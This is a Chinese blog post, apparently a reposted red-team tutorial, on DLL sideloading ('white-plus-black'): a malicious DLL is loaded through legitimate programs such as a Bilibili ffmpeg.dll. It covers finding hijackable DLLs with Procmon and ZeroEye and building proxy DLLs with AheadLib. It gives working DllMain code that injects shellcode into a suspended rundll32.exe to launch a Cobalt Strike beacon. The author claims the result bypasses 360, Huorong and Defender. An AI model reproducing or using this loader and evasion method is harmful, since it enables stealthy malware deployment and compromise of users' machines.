前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >白加黑保姆教程通杀主流杀软

白加黑保姆教程通杀主流杀软

作者头像
亿人安全
发布2024-05-22 18:43:37
1830
发布2024-05-22 18:43:37
举报
文章被收录于专栏:红蓝对抗红蓝对抗

原文链接:奇安信攻防社区

https://xz.aliyun.com/t/14558

简单来说就是通过白名单的exe运行来去加载恶意的dll达到shellcode加载的目的,那么就需要对exe加载的dll进行了解。

0x01 DLL前置知识

DLL路径搜索目录顺序

• 1. 程序所在目录 • 2. 程序加载目录(SetCurrentDirectory) • 3. 系统目录即 SYSTEM32 目录 • 4.16 位系统目录即 SYSTEM 目录 • 5.Windows 目录 • 6.PATH 环境变量中列出的目录 Know DLLs 注册表项 Know DLLs 注册表项里的 DLL 列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。 Know DLLs 注册表项的路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 劫持应用中存在的 dll

直接转发 Direcrt Forwarding

直接转发对主程序来说,其实就是调用了原来 dll 的某个函数。 1.修改导出表 在导出表中,将要转发的函数入口地址指向另一个DLL对应函数的入口地址 2.实际调用过程 其他程序调用DLL中被转发的函数时,系统会重定向到转发目标DLL中的对应函数。 设 DLL A 中的函数 MyFunction() 被直接转发到 DLLB 中的函数 RealFunction(),那么调用 MyFunction() 实际上会调用 RealFunction()。

及时调用 Delay Load and Call

即时调用实际上是调用了劫持 dll 的某个函数,只不过那个函数会 jmp 到原本的 dll 中的相应函数的地址。达到的效果相同,但是实现的原理不同。

  1. 延迟加载目标 DLL 当 DLL A 中的函数被调用时,首先使用 LoadLibrary 加载目标 DLLB。
  2. 获取函数入口地址 然后使用 GetProcAddress 获取目标 DLL 中要调用的函数的入口地址。
  3. 实际调用过程: 使用获取到的函数入口地址调用目标函数。 这种方式的优点是,可以在需要调用函数时才加载目标 DLLB. 注意事项 不管是转发还是劫持,都需要注意使用对应位数的shellcode,可以使用01Eidor来打开exe查看,生成dll时候也需注意。 DllMain 入口函数 这是动态链接库的可选入口点。系统启动或终止进程或线程的时候,它会使用进程的第一个线程为每个加载的DLL来调用入口点函数。 当Dll使用LoadLibrary加载和使用FreeLibrary函数卸载dll时候,系统还会回调该函数的入口点函数。
代码语言:javascript
复制
/*
* hModule:DLL模块句柄
* ul_reason_for_call:调用函数的原因
* lpReserved:保留参数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
      case DLL_THREAD_ATTACH: // 当线程被创建时调用
      case DLL_THREAD_DETACH: // 当线程结束时执行
      case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
            if (lpvReserved != nullptr)
            {
                break; // lpvReserved为非空时,表示进程被终止,不做任何清理
            }
            // 执行必要的清理
          break;
    }
    return TRUE; // DLL_PROCESS_ATTACH成功
}

DLL_PROCESS_ARRACH 当一个dll文件被映射到进程的地址空间时,系统调用dllmain,传递fdwReason参数为DLL_PROCESS_ARRACH,只会被传递一次。 DLL_PROCESS_DETACH 当dll被从进程的地址空间接触映射时调用 比如: 1.调用FreeLibray() 2.进程结束 3.传入DLL_PROCESS_ATTACH的dllmain返回False DLL_PROCESS_ATTACH 当进程创建一线程调用时,与DLL_PROCESS_ATTACH不同,该值可以被多次调用。

DllMain函数名修饰-APIENTRY

代码语言:javascript
复制
#define CALLBACK __stdcall   // WIN32编程中的回调函数类型
#define WINAPI __stdcal
#define WINAPIV __cdecl
#define APIENTRY WINAPI   // DllMain的入口就在这里
#define APIPRIVATE __stdcall
#define PASCAL __stdcall

APIENTRY根据宏定义 WINAPI以及stdcall,可知是属于stdcall调用约定。 这种约定主要约束了两件事:参数传递顺序、调用堆栈由谁清理(调用函数或被调用函数)。 常见的函数调用约定有:cdecl stdcall fastcall thiscall 其中 cdecl 是 C\C++ 的默认调用约定,stdcall 是 Windows API 的默认调用约定。 Dll的调试 这里写一个例子来进行dll的开发和调试 pch.h对应的源文件

这段代码定义了一个 study_dll_EXPORTS的宏,定义API_DECLSPECKM为declspec(dllexport),否则则定义API_DECLSPECKM为declspec(dllimport)

生成dll后在用dumpbin来查看导出表,注意dumpbin要找到对应位数这里是64位,不要用成arm的了

这里学习一下调用dll来调试dll中的代码。 首先需要可以调用这个dll的exe,这点很重要。 创建一个控制台项目,然后代码里面加载dll,获取到HModule后,在用GetProcAddress来获取dll里面的方法

这里再return这下断点 可以看到调试成功了

0x02 dll静态和动态调用的特点

dll静态调用特点 程序在编译时将所需的dll文件嵌入到可执行文件中,也就是dll文件与可执行文件捆绑在一起。 当程序运行时,操作系统会将静态链接库(Static Link Library)中的代码和数据复制到程序的内存空间中,这样程序就可以直接使用 DLL 中的功能。由于 DLL 文件已经被嵌入到可执行文件中,因此程序在运行时不需要再加载 DLL 文件,可以直接执行。 示例 编写一个静态dll文件 mydll.lib

代码语言:javascript
复制
// 定义 DLL 导出函数的原型
typedef int (*DLLFUNC)(int);

int main()
{
    // 加载静态链接库
    #pragma comment(lib, "mydll.lib")

    // 获取 DLL 导出函数指针
    DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc");

    // 调用 DLL 导出函数
    int result = MyFunc(123);

    return 0;
}

dll动态调用的特点 如果所需要dll不存在,不会返回错误代码(除非在代码里面写了Getlasterror这些)

0x03 dllmain上线问题

根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:

dllmain里面不能创建进程这个问题是一个坑。 也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。

0x04 寻找可用dll

这是一个关键性的问题,可执行文件的导入dll那么多,用哪个dll来加黑呢?这个可以说是最关键的一步! 一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。 这里来罗列一下几种方法

1.孤独寻找

最容易想到的操作,就是把exe单独移动出来,然后运行看看报错是什么,这里报错是缺少ffmpeg.dll, 但是这种方法不保证管用和准确性。

100多MB的启动程序导入表dll居然这么少 通过查看导入表,来判断排除系统dll,然后看看在结合目录寻找软件的dll

有些程序光是一个dll还无法正常打开运行,可能是dll1还需要dll2,这种就不好去找了。有些能运行上线,但是程序无法正常使用,想要劫持了dll加黑,又要原程序正常运行这是一件很难的事情。

2.Procmon助我

使用Procmon任务管理器来动态运行程序查找,可以逐步分析需要动态加载哪些关键DLL。 先来一个Filter

内容还是太多了,需要再过滤一下,只看dll的

加上path以.dll结尾的过滤器

再加上一个exclude,就可以排除完了

3.巧用工具

寻找了好几款工具,对比测试发现ZeroEye效果还不错

利用工具来检查可以被劫持的dll,可以快速排除寻找 https://github.com/ImCoriander/ZeroEye/tree/ZeroEye 这款工具python运行调用PE程序去寻找,成功找到后会生成对应目录

这里给出了exe的导入DLL,分成系统DLL和程序的DLL,一目了然,比如寻找wyy的

cloudmusic_util.exe这里导入依赖了很多dll

这里还差一个dll,我们手动排查发现

那么在给他加上libFLAC_dynamic.dll就可以直接运行了

黑Dll制作

我这里测试,就选择这个某哔哩ffmpeg.dll来制作。 用AheadLib来做dll的相关函数导出,但是之前的这个软件导出x64位的dll就会直接闪退,没办法,已经没有更新了

在GitHub上找到了一个可以用的,但是导出之后需要把asm相关函数编译成obj,比较麻烦 https://github.com/strivexjun/AheadLib-x86-x64 导出转发生成了ffmpeg_jump.asm和ffmpeg.cpp文件

编译的时候就发现存在两个函数的报错,尝试了很久,添加链接器到Shlwapi.h物理路径也不行,就很奇怪 shlwapi.h已经引用 找不到pathstrippath”和“strcmpi”

没有用,只能尝试替换掉这两个函数了

当然可以用其他的轮子来加载dllmain (由于dll被修改后哔哩打开就闪退了,之前那个是在dllmain中调用函数来创建线程,所以闪退会导致CS这边也退掉) 想要保持修改dll后的软件exe也能正常运行打开,不是那么好做,是比较困难的,条件要求很高。那么可以考虑换一种方法来执行。 注入进程,一种常用的轮子

代码语言:javascript
复制
unsigned char payload[] = "\xfc\xe8...";
unsigned int payload_len = sizeof payload - 1;

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH: {
    char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
    memcpy((void*)v7A, payload, payload_len);

    struct _PROCESS_INFORMATION ProcessInformation;
    struct _STARTUPINFOA StartupInfo;
    void* v24;
    CONTEXT Context;
    memset(&StartupInfo, 0, sizeof(StartupInfo));
    StartupInfo.cb = 68;
    BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
    if (result)
    {
      Context.ContextFlags = 65539;
      GetThreadContext(ProcessInformation.hThread, &Context);
      v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u);
      WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL);
            // 32 位使用 Context.Eip = (DWORD_PTR)v24;
      Context.Rip = (DWORD_PTR)v24;
      SetThreadContext(ProcessInformation.hThread, &Context);
      ResumeThread(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hThread);
      result = CloseHandle(ProcessInformation.hProcess);
    }

    TerminateProcess(GetCurrentProcess(), 0);
  }

  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

ok 代码的问题解决了,但是再编译的时候出现了上面的导出函数无法被识别的问题

这里就需要来编译asm文件了,参考asm注释里面给的命令,需要注意ml64是vsstudio里面的文件,因为这里没有加入到环境变量中,所以写全路径,编译得到了ffmpeg_jump.obj "E:\C project\Microsoft Visual Studio\VC\Tools\MSVC\14.16.27023\bin\HostX64\x64\ml64" /Fo ffmpeg_jump.obj /c /Cp ffmpeg_jump.asm

把ffmpeg_jump.obj复制到项目目录下

然后把obj文件添加到链接器里面

放回到安装目录可以上线,这里是启动了rundll32.exe来上线的

这样子单独拎出来也可以上线,不过还没有做免杀

再加上一点自己的免杀手段上去,这里就不继续展开了 360,火绒,defender通通bypass! 放一下defender免杀效果图 defender静态查杀

defender动态查杀

参考链接: https://www.freebuf.com/articles/system/333690.html https://github.com/strivexjun/AheadLib-x86-x64 https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-best-practices?redirectedfrom=MSDN https://github.com/ImCoriander/ZeroEye/tree/ZeroEye

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-05-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 DLL前置知识
    • DLL路径搜索目录顺序
      • 直接转发 Direcrt Forwarding
      • 及时调用 Delay Load and Call
  • 0x02 dll静态和动态调用的特点
  • 0x03 dllmain上线问题
  • 0x04 寻找可用dll
    • 1.孤独寻找
      • 2.Procmon助我
        • 3.巧用工具
        • 黑Dll制作
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档